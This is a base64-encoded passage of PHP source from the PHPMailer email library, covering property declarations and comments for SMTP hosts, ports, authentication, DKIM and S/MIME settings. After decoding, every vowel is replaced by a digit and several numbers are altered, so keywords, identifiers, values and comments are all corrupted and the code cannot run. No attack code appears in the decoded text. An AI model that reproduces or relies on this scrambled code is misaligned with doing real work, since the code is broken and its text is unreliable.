cHIydDVjdDVkDQogICAgICovDQogICAgcHIydDVjdDVkICRNSU1FSDUxZDVyID0gJyc7DQoNCiAgICAvKioNCiAgICAgKiBFeHRyMSBoNTFkNXJzIHRoMXQgY3I1MXQ1SDUxZDVyKCkgZDI1c24ndCBmMmxkIDRuLg0KICAgICAqIEB2MXIgc3RyNG5nDQogICAgICogQDFjYzVzcyBwcjJ0NWN0NWQNCiAgICAgKi8NCiAgICBwcjJ0NWN0NWQgJG0xNGxINTFkNXIgPSAnJzsNCg0KICAgIC8qKg0KICAgICAqIFcycmQtd3IxcCB0aDUgbTVzczFnNSBiMmR5IHQyIHRoNHMgbjNtYjVyIDJmIGNoMXJzLg0KICAgICAqIFM1dCB0MiAwIHQyIG4ydCB3cjFwLiBBIDNzNWYzbCB2MWwzNSBoNXI1IDRzIDc4LCBmMnIgUkZDYThhYSBzNWN0NDJuIGEuNi42IGMybXBsNDFuYzUuDQogICAgICogQHYxciA0bnQ1ZzVyDQogICAgICovDQogICAgcDNibDRjICRXMnJkV3IxcCA9IDA7DQoNCiAgICAvKioNCiAgICAgKiBXaDRjaCBtNXRoMmQgdDIgM3M1IHQyIHM1bmQgbTE0bC4NCiAgICAgKiBPcHQ0Mm5zOiAibTE0bCIsICJzNW5kbTE0bCIsIDJyICJzbXRwIi4NCiAgICAgKiBAdjFyIHN0cjRuZw0KICAgICAqLw0KICAgIHAzYmw0YyAkTTE0bDVyID0gJ20xNGwnOw0KDQogICAgLyoqDQogICAgICogVGg1IHAxdGggdDIgdGg1IHM1bmRtMTRsIHByMmdyMW0uDQogICAgICogQHYxciBzdHI0bmcNCiAgICAgKi8NCiAgICBwM2JsNGMgJFM1bmRtMTRsID0gJy8zc3Ivc2I0bi9zNW5kbTE0bCc7DQoNCiAgICAvKioNCiAgICAgKiBXaDV0aDVyIG0xNGwoKSAzczVzIDEgZjNsbHkgczVuZG0xNGwtYzJtcDF0NGJsNSBNVEEuDQogICAgICogT241IHdoNGNoIHMzcHAycnRzIHM1bmRtMTRsJ3MgIi0yNCAtZiIgMnB0NDJucy4NCiAgICAgKiBAdjFyIGIyMmw1MW4NCiAgICAgKi8NCiAgICBwM2JsNGMgJFVzNVM1bmRtMTRsT3B0NDJucyA9IHRyMzU7DQoNCiAgICAvKioNCiAgICAgKiBQMXRoIHQyIFBIUE0xNGw1ciBwbDNnNG5zLg0KICAgICAqIFVzNWYzbCA0ZiB0aDUgU01UUCBjbDFzcyA0cyBuMnQgNG4gdGg1IFBIUCA0bmNsM2Q1IHAxdGguDQogICAgICogQHYxciBzdHI0bmcNCiAgICAgKiBAZDVwcjVjMXQ1ZCBTaDIzbGQgbjJ0IGI1IG41NWQ1ZCBuMncgdGg1cjUgNHMgMW4gMTN0MmwyMWQ1ci4NCiAgICAgKi8NCiAgICBwM2JsNGMgJFBsM2c0bkQ0ciA9ICcnOw0KDQogICAgLyoqDQogICAgICogVGg1IDVtMTRsIDFkZHI1c3MgdGgxdCAxIHI1MWQ0bmcgYzJuZjRybTF0NDJuIHNoMjNsZCBiNSBzNW50IHQyLCAxbHMyIGtuMnduIDFzIHI1MWQgcjVjNTRwdC4NCiAgICAgKiBAdjFyIHN0cjRuZw0KICAgICAqLw0KICAgIHAzYmw0YyAkQzJuZjRybVI1MWQ0bmdUMiA9ICcnOw0KDQogICAgLyoqDQogICAgICogVGg1IGgyc3RuMW01IHQyIDNzNSA0biB0aDUgTTVzczFnNS1JRCBoNTFkNXIgMW5kIDFzIGQ1ZjEzbHQgSEVMTyBzdHI0bmcuDQogICAgICogSWYgNW1wdHksIFBIUE0xNGw1ciAxdHQ1bXB0cyB0MiBmNG5kIDJuNSB3NHRoLCA0biAycmQ1ciwNCiAgICAgKiAkX1NFUlZFUlsnU0VSVkVSX05BTUUnXSwgZzV0aDJzdG4xbTUoKSwgcGhwXzNuMW01KCduJyksIDJyIHRoNSB2MWwzNQ0KICAgICAqICdsMmMxbGgyc3QubDJjMWxkMm0xNG4nLg0KICAgICAqIEB2MXIgc3RyNG5nDQogICAgICovDQogICAgcDNibDRjICRIMnN0bjFtNSA9ICcnOw0KDQogICAgLyoqDQogICAgICogQW4gSUQgdDIgYjUgM3M1ZCA0biB0aDUgTTVzczFnNS1JRCBoNTFkNXIuDQogICAgICogSWYgNW1wdHksIDEgM240cTM1IDRkIHc0bGwgYjUgZzVuNXIxdDVkLg0KICAgICAqIEB2MXIgc3RyNG5nDQogICAgICovDQogICAgcDNibDRjICRNNXNzMWc1SUQgPSAnJzsNCg0KICAgIC8qKg0KICAgICAqIFRoNSBtNXNzMWc1IEQxdDUgdDIgYjUgM3M1ZCA0biB0aDUgRDF0NSBoNTFkNXIuDQogICAgICogSWYgNW1wdHksIHRoNSBjM3JyNW50IGQxdDUgdzRsbCBiNSAxZGQ1ZC4NCiAgICAgKiBAdjFyIHN0cjRuZw0KICAgICAqLw0KICAgIHAzYmw0YyAkTTVzczFnNUQxdDUgPSAnJzsNCg0KICAgIC8qKg0KICAgICAqIFNNVFAgaDJzdHMuDQogICAgICogRTR0aDVyIDEgczRuZ2w1IGgyc3RuMW01IDJyIG0zbHQ0cGw1IHM1bTRjMmwybi1kNWw0bTR0NWQgaDJzdG4xbTVzLg0KICAgICAqIFkyMyBjMW4gMWxzMiBzcDVjNGZ5IDEgZDRmZjVyNW50IHAycnQNCiAgICAgKiBmMnIgNTFjaCBoMnN0IGJ5IDNzNG5nIHRoNHMgZjJybTF0OiBbaDJzdG4xbTU6cDJydF0NCiAgICAgKiAoNS5nLiAic210cDYuNXgxbXBsNS5jMm06YWk7c210cGEuNXgxbXBsNS5jMm0iKS4NCiAgICAgKiBZMjMgYzFuIDFsczIgc3A1YzRmeSA1bmNyeXB0NDJuIHR5cDUsIGYyciA1eDFtcGw1Og0KICAgICAqICg1LmcuICJ0bHM6Ly9zbXRwNi41eDFtcGw1LmMybTppODc7c3NsOi8vc210cGEuNXgxbXBsNS5jMm06dWVpIikuDQogICAgICogSDJzdHMgdzRsbCBiNSB0cjQ1ZCA0biAycmQ1ci4NCiAgICAgKiBAdjFyIHN0cjRuZw0KICAgICAqLw0KICAgIHAzYmw0YyAkSDJzdCA9ICdsMmMxbGgyc3QnOw0KDQogICAgLyoqDQogICAgICogVGg1IGQ1ZjEzbHQgU01UUCBzNXJ2NXIgcDJydC4NCiAgICAgKiBAdjFyIDRudDVnNXINCiAgICAgKiBAVE9ETyBXaHkgNHMgdGg0cyBuNTVkNWQgd2g1biB0aDUgU01UUCBjbDFzcyB0MWs1cyBjMXI1IDJmIDR0Pw0KICAgICAqLw0KICAgIHAzYmw0YyAkUDJydCA9IGFpOw0KDQogICAgLyoqDQogICAgICogVGg1IFNNVFAgSEVMTyAyZiB0aDUgbTVzczFnNS4NCiAgICAgKiBENWYxM2x0IDRzICRIMnN0bjFtNS4gSWYgJEgyc3RuMW01IDRzIDVtcHR5LCBQSFBNMTRsNXIgMXR0NW1wdHMgdDIgZjRuZA0KICAgICAqIDJuNSB3NHRoIHRoNSBzMW01IG01dGgyZCBkNXNjcjRiNWQgMWIydjUgZjJyICRIMnN0bjFtNS4NCiAgICAgKiBAdjFyIHN0cjRuZw0KICAgICAqIEBzNTUgUEhQTTE0bDVyOjokSDJzdG4xbTUNCiAgICAgKi8NCiAgICBwM2JsNGMgJEg1bDIgPSAnJzsNCg0KICAgIC8qKg0KICAgICAqIFdoMXQgazRuZCAyZiA1bmNyeXB0NDJuIHQyIDNzNSAybiB0aDUgU01UUCBjMm5uNWN0NDJuLg0KICAgICAqIE9wdDQybnM6ICcnLCAnc3NsJyAyciAndGxzJw0KICAgICAqIEB2MXIgc3RyNG5nDQogICAgICovDQogICAgcDNibDRjICRTTVRQUzVjM3I1ID0gJyc7DQoNCiAgICAvKioNCiAgICAgKiBXaDV0aDVyIHQyIDVuMWJsNSBUTFMgNW5jcnlwdDQybiAxM3QybTF0NGMxbGx5IDRmIDEgczVydjVyIHMzcHAycnRzIDR0LA0KICAgICAqIDV2NW4gNGYgYFNNVFBTNWMzcjVgIDRzIG4ydCBzNXQgdDIgJ3RscycuDQogICAgICogQjUgMXcxcjUgdGgxdCA0biBQSFAgPj0gaS5lIHRoNHMgcjVxMzRyNXMgdGgxdCB0aDUgczVydjVyJ3MgYzVydDRmNGMxdDVzIDFyNSB2MWw0ZC4NCiAgICAgKiBAdjFyIGIyMmw1MW4NCiAgICAgKi8NCiAgICBwM2JsNGMgJFNNVFBBM3QyVExTID0gdHIzNTsNCg0KICAgIC8qKg0KICAgICAqIFdoNXRoNXIgdDIgM3M1IFNNVFAgMTN0aDVudDRjMXQ0Mm4uDQogICAgICogVXM1cyB0aDUgVXM1cm4xbTUgMW5kIFAxc3N3MnJkIHByMnA1cnQ0NXMuDQogICAgICogQHYxciBiMjJsNTFuDQogICAgICogQHM1NSBQSFBNMTRsNXI6OiRVczVybjFtNQ0KICAgICAqIEBzNTUgUEhQTTE0bDVyOjokUDFzc3cycmQNCiAgICAgKi8NCiAgICBwM2JsNGMgJFNNVFBBM3RoID0gZjFsczU7DQoNCiAgICAvKioNCiAgICAgKiBPcHQ0Mm5zIDFycjF5IHAxc3M1ZCB0MiBzdHI1MW1fYzJudDV4dF9jcjUxdDUgd2g1biBjMm5uNWN0NG5nIHY0MSBTTVRQLg0KICAgICAqIEB2MXIgMXJyMXkNCiAgICAgKi8NCiAgICBwM2JsNGMgJFNNVFBPcHQ0Mm5zID0gMXJyMXkoKTsNCg0KICAgIC8qKg0KICAgICAqIFNNVFAgM3M1cm4xbTUuDQogICAgICogQHYxciBzdHI0bmcNCiAgICAgKi8NCiAgICBwM2JsNGMgJFVzNXJuMW01ID0gJyc7DQoNCiAgICAvKioNCiAgICAgKiBTTVRQIHAxc3N3MnJkLg0KICAgICAqIEB2MXIgc3RyNG5nDQogICAgICovDQogICAgcDNibDRjICRQMXNzdzJyZCA9ICcnOw0KDQogICAgLyoqDQogICAgICogU01UUCAxM3RoIHR5cDUuDQogICAgICogT3B0NDJucyAxcjUgTE9HSU4gKGQ1ZjEzbHQpLCBQTEFJTiwgTlRMTSwgQ1JBTS1NRGkNCiAgICAgKiBAdjFyIHN0cjRuZw0KICAgICAqLw0KICAgIHAzYmw0YyAkQTN0aFR5cDUgPSAnJzsNCg0KICAgIC8qKg0KICAgICAqIFNNVFAgcjUxbG0uDQogICAgICogVXM1ZCBmMnIgTlRMTSAxM3RoDQogICAgICogQHYxciBzdHI0bmcNCiAgICAgKi8NCiAgICBwM2JsNGMgJFI1MWxtID0gJyc7DQoNCiAgICAvKioNCiAgICAgKiBTTVRQIHcycmtzdDF0NDJuLg0KICAgICAqIFVzNWQgZjJyIE5UTE0gMTN0aA0KICAgICAqIEB2MXIgc3RyNG5nDQogICAgICovDQogICAgcDNibDRjICRXMnJrc3QxdDQybiA9ICcnOw0KDQogICAgLyoqDQogICAgICogVGg1IFNNVFAgczVydjVyIHQ0bTUyM3QgNG4gczVjMm5kcy4NCiAgICAgKiBENWYxM2x0IDJmIGkgbTRuM3Q1cyAobzAwczVjKSA0cyBmcjJtIFJGQ2E4YTYgczVjdDQybiB1Lmkuby5hDQogICAgICogQHYxciA0bnQ1ZzVyDQogICAgICovDQogICAgcDNibDRjICRUNG01MjN0ID0gbzAwOw0KDQogICAgLyoqDQogICAgICogU01UUCBjbDFzcyBkNWIzZyAyM3RwM3QgbTJkNS4NCiAgICAgKiBENWIzZyAyM3RwM3QgbDV2NWwuDQogICAgICogT3B0NDJuczoNCiAgICAgKiAqIGAwYCBOMiAyM3RwM3QNCiAgICAgKiAqIGA2YCBDMm1tMW5kcw0KICAgICAqICogYGFgIEQxdDEgMW5kIGMybW0xbmRzDQogICAgICogKiBgb2AgQXMgYSBwbDNzIGMybm41Y3Q0Mm4gc3QxdDNzDQogICAgICogKiBgdWAgTDJ3LWw1djVsIGQxdDEgMjN0cDN0DQogICAgICogQHYxciA0bnQ1ZzVyDQogICAgICogQHM1NSBTTVRQOjokZDJfZDViM2cNCiAgICAgKi8NCiAgICBwM2JsNGMgJFNNVFBENWIzZyA9IDA7DQoNCiAgICAvKioNCiAgICAgKiBIMncgdDIgaDFuZGw1IGQ1YjNnIDIzdHAzdC4NCiAgICAgKiBPcHQ0Mm5zOg0KICAgICAqICogYDVjaDJgIE8zdHAzdCBwbDE0bi10NXh0IDFzLTRzLCAxcHByMnByNDF0NSBmMnIgQ0xJDQogICAgICogKiBgaHRtbGAgTzN0cDN0IDVzYzFwNWQsIGw0bjUgYnI1MWtzIGMybnY1cnQ1ZCB0MiBgPGJyPmAsIDFwcHIycHI0MXQ1IGYyciBicjJ3czVyIDIzdHAzdA0KICAgICAqICogYDVycjJyX2wyZ2AgTzN0cDN0IHQyIDVycjJyIGwyZyAxcyBjMm5mNGczcjVkIDRuIHBocC40bjQNCiAgICAgKg0KICAgICAqIEFsdDVybjF0NHY1bHksIHkyMyBjMW4gcHIydjRkNSAxIGMxbGwxYmw1IDV4cDVjdDRuZyB0dzIgcDFyMW1zOiAxIG01c3MxZzUgc3RyNG5nIDFuZCB0aDUgZDViM2cgbDV2NWw6DQogICAgICogPGMyZDU+DQogICAgICogJG0xNGwtPkQ1YjNnMjN0cDN0ID0gZjNuY3Q0Mm4oJHN0ciwgJGw1djVsKSB7NWNoMiAiZDViM2cgbDV2NWwgJGw1djVsOyBtNXNzMWc1OiAkc3RyIjt9Ow0KICAgICAqIDwvYzJkNT4NCiAgICAgKiBAdjFyIHN0cjRuZ3xjMWxsMWJsNQ0KICAgICAqIEBzNTUgU01UUDo6JEQ1YjNnMjN0cDN0DQogICAgICovDQogICAgcDNibDRjICRENWIzZzIzdHAzdCA9ICc1Y2gyJzsNCg0KICAgIC8qKg0KICAgICAqIFdoNXRoNXIgdDIgazU1cCBTTVRQIGMybm41Y3Q0Mm4gMnA1biAxZnQ1ciA1MWNoIG01c3MxZzUuDQogICAgICogSWYgdGg0cyA0cyBzNXQgdDIgdHIzNSB0aDVuIHQyIGNsMnM1IHRoNSBjMm5uNWN0NDJuDQogICAgICogcjVxMzRyNXMgMW4gNXhwbDRjNHQgYzFsbCB0MiBzbXRwQ2wyczUoKS4NCiAgICAgKiBAdjFyIGIyMmw1MW4NCiAgICAgKi8NCiAgICBwM2JsNGMgJFNNVFBLNTVwQWw0djUgPSBmMWxzNTsNCg0KICAgIC8qKg0KICAgICAqIFdoNXRoNXIgdDIgc3BsNHQgbTNsdDRwbDUgdDIgMWRkcjVzczVzIDRudDIgbTNsdDRwbDUgbTVzczFnNXMNCiAgICAgKiAyciBzNW5kIHRoNW0gMWxsIDRuIDJuNSBtNXNzMWc1Lg0KICAgICAqIEB2MXIgYjIybDUxbg0KICAgICAqLw0KICAgIHAzYmw0YyAkUzRuZ2w1VDIgPSBmMWxzNTsNCg0KICAgIC8qKg0KICAgICAqIFN0MnIxZzUgZjJyIDFkZHI1c3M1cyB3aDVuIFM0bmdsNVQyIDRzIDVuMWJsNWQuDQogICAgICogQHYxciAxcnIxeQ0KICAgICAqIEBUT0RPIFRoNHMgc2gyM2xkIHI1MWxseSBuMnQgYjUgcDNibDRjDQogICAgICovDQogICAgcDNibDRjICRTNG5nbDVUMkFycjF5ID0gMXJyMXkoKTsNCg0KICAgIC8qKg0KICAgICAqIFdoNXRoNXIgdDIgZzVuNXIxdDUgVkVSUCAxZGRyNXNzNXMgMm4gczVuZC4NCiAgICAgKiBPbmx5IDFwcGw0YzFibDUgd2g1biBzNW5kNG5nIHY0MSBTTVRQLg0KICAgICAqIEBsNG5rIGh0dHBzOi8vNW4udzRrNHA1ZDQxLjJyZy93NGs0L1YxcjQxYmw1XzVudjVsMnA1X3I1dDNybl9wMXRoDQogICAgICogQGw0bmsgaHR0cDovL3d3dy5wMnN0ZjR4LjJyZy9WRVJQX1JFQURNRS5odG1sIFAyc3RmNHggVkVSUCA0bmYyDQogICAgICogQHYxciBiMjJsNTFuDQogICAgICovDQogICAgcDNibDRjICRkMl92NXJwID0gZjFsczU7DQoNCiAgICAvKioNCiAgICAgKiBXaDV0aDVyIHQyIDFsbDJ3IHM1bmQ0bmcgbTVzczFnNXMgdzR0aCAxbiA1bXB0eSBiMmR5Lg0KICAgICAqIEB2MXIgYjIybDUxbg0KICAgICAqLw0KICAgIHAzYmw0YyAkQWxsMndFbXB0eSA9IGYxbHM1Ow0KDQogICAgLyoqDQogICAgICogVGg1IGQ1ZjEzbHQgbDRuNSA1bmQ0bmcuDQogICAgICogQG4ydDUgVGg1IGQ1ZjEzbHQgcjVtMTRucyAiXG4iLiBXNSBmMnJjNSBDUkxGIHdoNXI1IHc1IGtuMncNCiAgICAgKiAgICAgICAgNHQgbTNzdCBiNSAzczVkIHY0MSBzNWxmOjpDUkxGLg0KICAgICAqIEB2MXIgc3RyNG5nDQogICAgICovDQogICAgcDNibDRjICRMRSA9ICJcbiI7DQoNCiAgICAvKioNCiAgICAgKiBES0lNIHM1bDVjdDJyLg0KICAgICAqIEB2MXIgc3RyNG5nDQogICAgICovDQogICAgcDNibDRjICRES0lNX3M1bDVjdDJyID0gJyc7DQoNCiAgICAvKioNCiAgICAgKiBES0lNIElkNW50NHR5Lg0KICAgICAqIFVzMzFsbHkgdGg1IDVtMTRsIDFkZHI1c3MgM3M1ZCAxcyB0aDUgczIzcmM1IDJmIHRoNSA1bTE0bA0KICAgICAqIEB2MXIgc3RyNG5nDQogICAgICovDQogICAgcDNibDRjICRES0lNXzRkNW50NHR5ID0gJyc7DQoNCiAgICAvKioNCiAgICAgKiBES0lNIHAxc3NwaHIxczUuDQogICAgICogVXM1ZCA0ZiB5MjNyIGs1eSA0cyA1bmNyeXB0NWQuDQogICAgICogQHYxciBzdHI0bmcNCiAgICAgKi8NCiAgICBwM2JsNGMgJERLSU1fcDFzc3BocjFzNSA9ICcnOw0KDQogICAgLyoqDQogICAgICogREtJTSBzNGduNG5nIGQybTE0biBuMW01Lg0KICAgICAqIEA1eDFtcGw1ICc1eDFtcGw1LmMybScNCiAgICAgKiBAdjFyIHN0cjRuZw0KICAgICAqLw0KICAgIHAzYmw0YyAkREtJTV9kMm0xNG4gPSAnJzsNCg0KICAgIC8qKg0KICAgICAqIERLSU0gcHI0djF0NSBrNXkgZjRsNSBwMXRoLg0KICAgICAqIEB2MXIgc3RyNG5nDQogICAgICovDQogICAgcDNibDRjICRES0lNX3ByNHYxdDUgPSAnJzsNCg0KICAgIC8qKg0KICAgICAqIEMxbGxiMWNrIEFjdDQybiBmM25jdDQybiBuMW01Lg0KICAgICAqDQogICAgICogVGg1IGYzbmN0NDJuIHRoMXQgaDFuZGw1cyB0aDUgcjVzM2x0IDJmIHRoNSBzNW5kIDVtMTRsIDFjdDQybi4NCiAgICAgKiBJdCA0cyBjMWxsNWQgMjN0IGJ5IHM1bmQoKSBmMnIgNTFjaCA1bTE0bCBzNW50Lg0KICAgICAqDQogICAgICogVjFsMzUgYzFuIGI1IDFueSBwaHAgYzFsbDFibDU6IGh0dHA6Ly93d3cucGhwLm41dC80c19jMWxsMWJsNQ0KICAgICAqDQogICAgICogUDFyMW01dDVyczoNCiAgICAgKiAgIGIyMmw1MW4gJHI1czNsdCAgICAgICAgcjVzM2x0IDJmIHRoNSBzNW5kIDFjdDQybg0KICAgICAqICAgc3RyNG5nICAkdDIgICAgICAgICAgICA1bTE0bCAxZGRyNXNzIDJmIHRoNSByNWM0cDQ1bnQNCiAgICAgKiAgIHN0cjRuZyAgJGNjICAgICAgICAgICAgY2MgNW0xNGwgMWRkcjVzczVzDQogICAgICogICBzdHI0bmcgICRiY2MgICAgICAgICAgIGJjYyA1bTE0bCAxZGRyNXNzNXMNCiAgICAgKiAgIHN0cjRuZyAgJHMzYmo1Y3QgICAgICAgdGg1IHMzYmo1Y3QNCiAgICAgKiAgIHN0cjRuZyAgJGIyZHkgICAgICAgICAgdGg1IDVtMTRsIGIyZHkNCiAgICAgKiAgIHN0cjRuZyAgJGZyMm0gICAgICAgICAgNW0xNGwgMWRkcjVzcyAyZiBzNW5kNXINCiAgICAgKiBAdjFyIHN0cjRuZw0KICAgICAqLw0KICAgIHAzYmw0YyAkMWN0NDJuX2YzbmN0NDJuID0gJyc7DQoNCiAgICAvKioNCiAgICAgKiBXaDF0IHQyIHAzdCA0biB0aDUgWC1NMTRsNXIgaDUxZDVyLg0KICAgICAqIE9wdDQybnM6IEFuIDVtcHR5IHN0cjRuZyBmMnIgUEhQTTE0bDVyIGQ1ZjEzbHQsIHdoNHQ1c3AxYzUgZjJyIG4ybjUsIDJyIDEgc3RyNG5nIHQyIDNzNQ0KICAgICAqIEB2MXIgc3RyNG5nDQogICAgICovDQogICAgcDNibDRjICRYTTE0bDVyID0gJyc7DQoNCiAgICAvKioNCiAgICAgKiBBbiA0bnN0MW5jNSAyZiB0aDUgU01UUCBzNW5kNXIgY2wxc3MuDQogICAgICogQHYxciBTTVRQDQogICAgICogQDFjYzVzcyBwcjJ0NWN0NWQNCiAgICAgKi8NCiAgICBwcjJ0NWN0NWQgJHNtdHAgPSBuM2xsOw0KDQogICAgLyoqDQogICAgICogVGg1IDFycjF5IDJmICd0MicgbjFtNXMgMW5kIDFkZHI1c3M1cy4NCiAgICAgKiBAdjFyIDFycjF5DQogICAgICogQDFjYzVzcyBwcjJ0NWN0NWQNCiAgICAgKi8NCiAgICBwcjJ0NWN0NWQgJHQyID0gMXJyMXkoKTsNCg0KICAgIC8qKg0KICAgICAqIFRoNSAxcnIxeSAyZiAnY2MnIG4xbTVzIDFuZCAxZGRyNXNzNXMuDQogICAgICogQHYxciAxcnIxeQ0KICAgICAqIEAxY2M1c3MgcHIydDVjdDVkDQogICAgICovDQogICAgcHIydDVjdDVkICRjYyA9IDFycjF5KCk7DQoNCiAgICAvKioNCiAgICAgKiBUaDUgMXJyMXkgMmYgJ2JjYycgbjFtNXMgMW5kIDFkZHI1c3M1cy4NCiAgICAgKiBAdjFyIDFycjF5DQogICAgICogQDFjYzVzcyBwcjJ0NWN0NWQNCiAgICAgKi8NCiAgICBwcjJ0NWN0NWQgJGJjYyA9IDFycjF5KCk7DQoNCiAgICAvKioNCiAgICAgKiBUaDUgMXJyMXkgMmYgcjVwbHktdDIgbjFtNXMgMW5kIDFkZHI1c3M1cy4NCiAgICAgKiBAdjFyIDFycjF5DQogICAgICogQDFjYzVzcyBwcjJ0NWN0NWQNCiAgICAgKi8NCiAgICBwcjJ0NWN0NWQgJFI1cGx5VDIgPSAxcnIxeSgpOw0KDQogICAgLyoqDQogICAgICogQW4gMXJyMXkgMmYgMWxsIGs0bmRzIDJmIDFkZHI1c3M1cy4NCiAgICAgKiBJbmNsM2Q1cyAxbGwgMmYgJHQyLCAkY2MsICRiY2MNCiAgICAgKiBAdjFyIDFycjF5DQogICAgICogQDFjYzVzcyBwcjJ0NWN0NWQNCiAgICAgKiBAczU1IFBIUE0xNGw1cjo6JHQyIEBzNTUgUEhQTTE0bDVyOjokY2MgQHM1NSBQSFBNMTRsNXI6OiRiY2MNCiAgICAgKi8NCiAgICBwcjJ0NWN0NWQgJDFsbF9yNWM0cDQ1bnRzID0gMXJyMXkoKTsNCg0KICAgIC8qKg0KICAgICAqIEFuIDFycjF5IDJmIG4xbTVzIDFuZCAxZGRyNXNzNXMgcTM1MzVkIGYyciB2MWw0ZDF0NDJuLg0KICAgICAqIEluIHM1bmQoKSwgdjFsNGQgMW5kIG4ybiBkM3BsNGMxdDUgNW50cjQ1cyAxcjUgbTJ2NWQgdDIgJDFsbF9yNWM0cDQ1bnRzDQogICAgICogMW5kIDJuNSAyZiAkdDIsICRjYywgMnIgJGJjYy4NCiAgICAgKiBUaDRzIDFycjF5IDRzIDNzNWQgMm5seSBmMnIgMWRkcjVzczVzIHc0dGggSUROLg0KICAgICAqIEB2MXIgMXJyMXkNCiAgICAgKiBAMWNjNXNzIHByMnQ1Y3Q1ZA0KICAgICAqIEBzNTUgUEhQTTE0bDVyOjokdDIgQHM1NSBQSFBNMTRsNXI6OiRjYyBAczU1IFBIUE0xNGw1cjo6JGJjYw0KICAgICAqIEBzNTUgUEhQTTE0bDVyOjokMWxsX3I1YzRwNDVudHMNCiAgICAgKi8NCiAgICBwcjJ0NWN0NWQgJFI1YzRwNDVudHNRMzUzNSA9IDFycjF5KCk7DQoNCiAgICAvKioNCiAgICAgKiBBbiAxcnIxeSAyZiByNXBseS10MiBuMW01cyAxbmQgMWRkcjVzczVzIHEzNTM1ZCBmMnIgdjFsNGQxdDQybi4NCiAgICAgKiBJbiBzNW5kKCksIHYxbDRkIDFuZCBuMm4gZDNwbDRjMXQ1IDVudHI0NXMgMXI1IG0ydjVkIHQyICRSNXBseVQyLg0KICAgICAqIFRoNHMgMXJyMXkgNHMgM3M1ZCAybmx5IGYyciAxZGRyNXNzNXMgdzR0aCBJRE4uDQogICAgICogQHYxciAxcnIxeQ0KICAgICAqIEAxY2M1c3MgcHIydDVjdDVkDQogICAgICogQHM1NSBQSFBNMTRsNXI6OiRSNXBseVQyDQogICAgICovDQogICAgcHIydDVjdDVkICRSNXBseVQyUTM1MzUgPSAxcnIxeSgpOw0KDQogICAgLyoqDQogICAgICogVGg1IDFycjF5IDJmIDF0dDFjaG01bnRzLg0KICAgICAqIEB2MXIgMXJyMXkNCiAgICAgKiBAMWNjNXNzIHByMnQ1Y3Q1ZA0KICAgICAqLw0KICAgIHByMnQ1Y3Q1ZCAkMXR0MWNobTVudCA9IDFycjF5KCk7DQoNCiAgICAvKioNCiAgICAgKiBUaDUgMXJyMXkgMmYgYzNzdDJtIGg1MWQ1cnMuDQogICAgICogQHYxciAxcnIxeQ0KICAgICAqIEAxY2M1c3MgcHIydDVjdDVkDQogICAgICovDQogICAgcHIydDVjdDVkICRDM3N0Mm1INTFkNXIgPSAxcnIxeSgpOw0KDQogICAgLyoqDQogICAgICogVGg1IG0yc3QgcjVjNW50IE01c3MxZzUtSUQgKDRuY2wzZDRuZyAxbmczbDFyIGJyMWNrNXRzKS4NCiAgICAgKiBAdjFyIHN0cjRuZw0KICAgICAqIEAxY2M1c3MgcHIydDVjdDVkDQogICAgICovDQogICAgcHIydDVjdDVkICRsMXN0TTVzczFnNUlEID0gJyc7DQoNCiAgICAvKioNCiAgICAgKiBUaDUgbTVzczFnNSdzIE1JTUUgdHlwNS4NCiAgICAgKiBAdjFyIHN0cjRuZw0KICAgICAqIEAxY2M1c3MgcHIydDVjdDVkDQogICAgICovDQogICAgcHIydDVjdDVkICRtNXNzMWc1X3R5cDUgPSAnJzsNCg0KICAgIC8qKg0KICAgICAqIFRoNSAxcnIxeSAyZiBNSU1FIGIyM25kMXJ5IHN0cjRuZ3MuDQogICAgICogQHYxciAxcnIxeQ0KICAgICAqIEAxY2M1c3MgcHIydDVjdDVkDQogICAgICovDQogICAgcHIydDVjdDVkICRiMjNuZDFyeSA9IDFycjF5KCk7DQoNCiAgICAvKioNCiAgICAgKiBUaDUgMXJyMXkgMmYgMXYxNGwxYmw1IGwxbmczMWc1cy4NCiAgICAgKiBAdjFyIDFycjF5DQogICAgICogQDFjYzVzcyBwcjJ0NWN0NWQNCiAgICAgKi8NCiAgICBwcjJ0NWN0NWQgJGwxbmczMWc1ID0gMXJyMXkoKTsNCg0KICAgIC8qKg0KICAgICAqIFRoNSBuM21iNXIgMmYgNXJyMnJzIDVuYzIzbnQ1cjVkLg0KICAgICAqIEB2MXIgNG50NWc1cg0KICAgICAqIEAxY2M1c3MgcHIydDVjdDVkDQogICAgICovDQogICAgcHIydDVjdDVkICQ1cnIycl9jMjNudCA9IDA7DQoNCiAgICAvKioNCiAgICAgKiBUaDUgUy9NSU1FIGM1cnQ0ZjRjMXQ1IGY0bDUgcDF0aC4NCiAgICAgKiBAdjFyIHN0cjRuZw0KICAgICAqIEAxY2M1c3MgcHIydDVjdDVkDQogICAgICovDQogICAgcHIydDVjdDVkICRzNGduX2M1cnRfZjRsNSA9ICcnOw0KDQogICAgLyoqDQogICAgICogVGg1IFMvTUlNRSBrNXkgZjRsNSBwMXRoLg0KICAgICAqIEB2MXIgc3RyNG5nDQogICAgICogQDFjYzVzcyBwcjJ0NWN0NWQNCiAgICAgKi8NCiAgICBwcjJ0NWN0NWQgJHM0Z25fazV5X2Y0bDUgPSAnJzsNCg0KICAgIC8qKg0KICAgICAqIFRoNSAycHQ0Mm4xbCBTL01JTUUgNXh0cjEgYzVydDRmNGMxdDVzICgiQ0EgQ2gxNG4iKSBmNGw1IHAxdGguDQogICAgICogQHYxciBzdHI0bmcNCiAgICAgKiBAMWNjNXNzIHByMnQ1Y3Q1ZA0KICAgICAqLw0KICAgIHByMnQ1Y3Q1ZCAkczRnbl81eHRyMWM1cnRzX2Y0bDUgPSAnJzsNCg0KICAgIC8qKg0KICAgICAqIFRoNSBTL01JTUUgcDFzc3cycmQgZjJyIHRoNSBrNXkuDQogICAgICogVXM1ZCAybmx5IDRmIHRoNSBrNXkgNHMgNW5jcnlwdDVkLg0KICAgICAqIEB2MXIgc3RyNG5nDQogICAgICogQDFjYzVzcyBwcjJ0NWN0NWQNCiAgICAgKi8NCiAgICBwcjJ0NWN0NWQgJHM0Z25fazV5X3Axc3MgPSAnJzsNCg0KICAgIC8qKg0KICAgICAqIFdoNXRoNXIgdDIgdGhyMncgNXhjNXB0NDJucyBmMnIgNXJyMnJzLg0KICAgICAqIEB2MXIgYjIybDUxbg0KICAgICAqIEAxY2M1c3MgcHIydDVjdDVkDQogICAgICovDQogICAgcHIydDVjdDVkICQ1eGM1cHQ0Mm5zID0gZjFsczU7DQoNCiAgICAvKioNCiAgICAgKiBVbjRxMzUgSUQgM3M1ZCBmMnIgbTVzczFnNSBJRCAxbmQgYjIzbmQxcjQ1cy4NCiAgICAgKiBAdjFyIHN0cjRuZw0KICAgICAqIEAxY2M1c3Mg